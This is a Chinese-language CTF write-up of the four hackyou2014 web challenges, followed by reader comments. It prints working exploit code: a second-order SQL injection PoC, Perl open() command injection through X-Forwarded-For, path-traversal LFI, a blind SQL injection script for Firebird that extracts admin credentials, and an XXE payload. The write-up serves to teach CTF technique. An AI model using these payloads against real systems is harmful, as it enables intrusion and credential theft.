hackyou2014 CTF web关卡通关攻略

mickey 2014-01-21 18:57:00
CTF

作者:Mickey,瞌睡龙

所有文件已打包可自己搭建测试:

CTF.zip

第一关


http://hackyou2014tasks.ctf.su:10080/

打开网页,通过看源代码发现有

<!-- TODO: remove index.phps -->

尝试访问index.phps,如图1,

通过查看index.phps,发现源代码如下:

<?php
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];

if (isset($_POST['submit'])) {
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('Hacking attempt!');
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1)
        $vote = 1;
    $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    }
    echo '</table>';
    echo '<br><a href="index.php">Back</a><br>';
    exit;
}
?>
<html>
<head>
    <title>Picture Gallery</title>
</head>
<body>
<p>Welcome, <?php echo $login; ?></p>
<p>Help us to choose the best logo!</p>
<form action="index.php" method="POST">
<table border="1" cellspacing="5">
<tr>
<?php
$q = mysql_query('SELECT * FROM picture');
while ($r = mysql_fetch_array($q)) {
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
}
?>
</tr>
</table>
<p>Your vote:
<select name="vote">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select></p>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
<!-- TODO: remove index.phps -->

其中id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里,然后又从vote表里取出,形成二次注入。

POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python
import requests
import binascii
import sys

def hack(inject):
    vul={'id':inject,'vote':3,'submit':1}
    req=requests.post('http://hackyou2014tasks.ctf.su:10080/index.php',data=vul)
    print req.content

if __name__=="__main__":
    hack("0x" + binascii.hexlify(sys.argv[1]))

效果图如2

第二关


http://hackyou2014tasks.ctf.su:20080/

这关打开后是个贪吃蛇游戏,只有注册用户才能保存结果,我们注册一个用户babybox,玩完游戏后访问后台,发现有个ip参数值得注意,尝试提交

http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../../../../../var/www/cgi-bin/index.pl

发现有LFI,如图3

通过读取到的index.pl源码可以发现,

$login = $session->param('login');
print $req->p('Hello, '.$login.'!');
if ($req->param('ip')) {
    $file = './data/'.MD5($login)."/".$req->param('ip');
    if (-e $file) {
        open FILE, $file;
        $html = '';
        while (<FILE>) {
            $html .= $_;
        }
        close(FILE);
        print $req->start_table({border=>1});
        print $req->Tr($req->th(['Date', 'Score']));
        print $html;
        print $req->end_table();
        print $req->a({href=>'index.pl'}, 'Back');
    } else {
        print $req->h1('Error');
    }
}

其中的open函数,可以导致命令执行,下载火狐的X-Forwarded-For Header插件,设置X-Forwarded-For为|pwd|,然后玩游戏,进后台看成绩,提交

http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|pwd|

发现命令注入成功了。由于这里不能使用/和\字符,我们可以使用base64编码下,如图4

这之前需要在提交成绩的时候X-Forwarded-For改为

|`echo bHMgLw== | base64 -d`|

第三关


http://hackyou2014tasks.ctf.su:30080/

这关可分为两部分

1找到隐藏的管理后台
2盲注获取权限

找到隐藏的管理后台需要利用windows平台上的一个技巧,具体的研究测试报告可以看这里:

Windows+PHP bug realted with findfirstfile

php的某些函数获取文件时,可以使用<代替其他字符进行猜解。

p<<

表示

p*

include_once函数包含文件将会返回以p开头的第一个文件,这里返回了phpinfo()的信息。

可以知道后台的数据库是firebird,如图5,

然后猜解后台目录:

http://hackyou2014tasks.ctf.su:30080/index.php?page=0<<
http://hackyou2014tasks.ctf.su:30080/index.php?page=0a<<

根据页面返回当中是否有

Page does not exists

字符串,来判断猜解的字符串是否正确。

然后用burpsuite去猜测剩余的字符,全部猜测成功后,发现

http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php

是个后台登陆口,没有账号,继续翻前台,发现

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost

有注入

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC

其实看到order参数,就很容易猜测可能是order by语句后的注入 :)

针对这个场景,firebird数据库,可控语句在order by之后,只能采取盲注:

已有人写好跑数据的perl脚本:

use LWP::Simple;
#username:password
#admin:9shS3FAk

# extract columns from USERS

$url="http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=";

$fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
$b=0;


# LOGIN column part
for($j=0;$j<100;$j++){
for($i=97;$i<122;$i++){
        $sql=$url.$fst."ascii_char(".$i.")".$snd;
        #print "j: ".$j." i:".$i."\n";
        $html=get $sql;
        if ($html=~/1337/ && $i!=37 && $i!=95){
                print chr($i);
                $fst.="ascii_char(".$i.")||";

                last;
        }else{
                $b++;
        }
}
if($b==122-97){
        last;
}else{
$b=0;
}
}
print "\n";

# PASSWD column part
$fst="case when(1=(select first 1 1 from rdb\$relation_fields where lower(RDB\$RELATION_NAME)=ascii_char(117)||ascii_char(115)||ascii_char(101)||ascii_char(114)||ascii_char(115) and lower(rdb\$field_name) LIKE ";
$b=0;
for($j=0;$j<100;$j++){
for($i=97;$i<122;$i++){
        $sql=$url.$fst."ascii_char(".$i.")".$snd;

        $html=get $sql;
        if ($html=~/1337/ && $i!=37 && $i!=95 && $i!=108){
                print chr($i);
                $fst.="ascii_char(".$i.")||";
                last;
        }else{
                $b++;
        }
}
if($b==122-97){
        last;
}else{
$b=0;
}
}
print "\n";

#extract data from USERS ( LOGIN,PASSWD)

$fst="case when(1=(select first 1 1 from USERS where LOGIN LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
for($j=0;$j<100;$j++){
for($i=65;$i<=122;$i++){
        $sql=$url.$fst."ascii_char(".$i.")".$snd;
        #print $j." ".$i."\n";

        $html=get $sql;
        if ($html=~/1337/ && $i!=37 && $i!=95){
                print chr($i)."\n";
                $fst.="ascii_char(".$i.")||";
                last;
        }else{
                $b++;
        }
}
if($b==123-65){
        last;
}else{
$b=0;
}
}
print "\n";

$fst="case when(1=(select first 1 1 from USERS where PASSWD LIKE ";
$snd="||ascii_char(37) )) then (select first 1 1 from rdb\$relations) else (select first 2 1 from rdb\$relations) end";
for($j=0;$j<100;$j++){
for($i=48;$i<=122;$i++){
        $sql=$url.$fst."ascii_char(".$i.")".$snd;
        #print $j." ".$i."\n";

        $html=get $sql;
        if ($html=~/1337/ && $i!=37 && $i!=95){
                print chr($i)."\n";
                $fst.="ascii_char(".$i.")||";
                last;
        }else{
                $b++;
        }
}
if($b==123-48){
        last;
}else{
$b=0;
}
}
print "\n";

最后可以看到数据为:

admin
9shS3FAk

到登陆页面登陆即可过关。

第四关


这关提供源码下载了,http://hackyou.ctf.su/files/web400.zip

<?php
include 'config.php';
include 'classes.php';
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;
?>

看这行

$page = new $action($param);

我们能实例化任意的类,并且传递$param给构造函数,我们先拿SimpleXMLElement看看效果

http://cn2.php.net/manual/en/simplexmlelement.construct.php

POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python
import requests
import sys
import base64

def hack(inject):
    vul={'param':'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "' + inject + '" >]><foo>&xxe;</foo>'}
    req=requests.post('http://hackyou2014tasks.ctf.su:40080/index.php?action=SimpleXMLElement',data=vul)
    print base64.b64decode(req.content)

if __name__=="__main__":
    hack(sys.argv[1])

效果如图6:

也可以用SplFileObject

http://cn2.php.net/manual/en/splfileobject.construct.php

效果图如7:

最后用GlobIterator得到结果

http://cn2.php.net/manual/en/globiterator.construct.php

效果图如8:

评论

心伤的胖子 2014-01-21 19:16:31

学习了,顶两个牛!

骨灰 2014-01-21 21:02:46

膜拜神牛

乌云 2014-01-21 22:09:05

膜拜!!!表示看了一关看不下去了。。。。

C

CnCxzSec(衰仔) 2014-01-22 09:24:26

吊炸天

C

Coner 2014-01-22 09:47:22

Mickey好吊啊

H

horseluke 2014-01-22 11:07:35

第一关就不懂了...似乎出题者将数据库的id字段设计成char/varchar等字符串类型导致的,如果换成int等数字型类型,会不会没有这种漏洞?

E

Elegance 2014-01-22 11:37:29

碉堡了

L

livers 2014-01-22 13:01:24

id 是字符型的.数字型不会出现,经典2次注入方法。

天梭 2014-01-22 13:46:43

仰望!

X

xsser 2014-01-22 14:37:35

其中id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric

X

xsser 2014-01-22 14:46:01

非常经典,同样的字符串对于php来说和mysql是理解不一致的

I

insight-labs 2014-01-22 15:35:20

我们小组的就是牛逼啊,各种高大上文章

L

luwikes 2014-01-24 10:29:40

尼玛屌爆了,膜拜~

N

noob 2014-01-28 17:29:40

膜拜

动后河 2014-01-31 02:13:41

看得心情压抑,转行算了

B

Bloodwolf 2014-02-08 16:41:15

看了以后压抑啊,心情不爽,真想说下次有这事请叫上兄弟一起上

X

Xeyes 2014-02-11 17:17:58

高端,大气,上档次。 mickey 牛碉堡了。

Y

YHHK 2014-03-09 10:59:39

BCTF求助攻。。。。。。

小贱人 2014-03-17 20:14:27


数据流 2014-07-23 14:49:00

吊炸天

黑吃黑 2014-08-05 10:27:46

我擦,为什么我看不懂

路人甲 2014-09-27 02:56:24

dentist salary nc...
hackyou2014 CTF web关卡通关攻略 | WooYun知识库...

S

Soulmk 2015-10-17 23:45:30

看得很压抑~但又涨姿势了~

路人甲 2016-06-04 12:22:21

碉堡了,但是看不懂!whctf求援助

mickey

此号多人用,发表任何信息不代表本人观点

twitter weibo github wechat

随机分类

Ruby安全 文章:2 篇
漏洞分析 文章:212 篇
无线安全 文章:27 篇
密码学 文章:13 篇
区块链 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录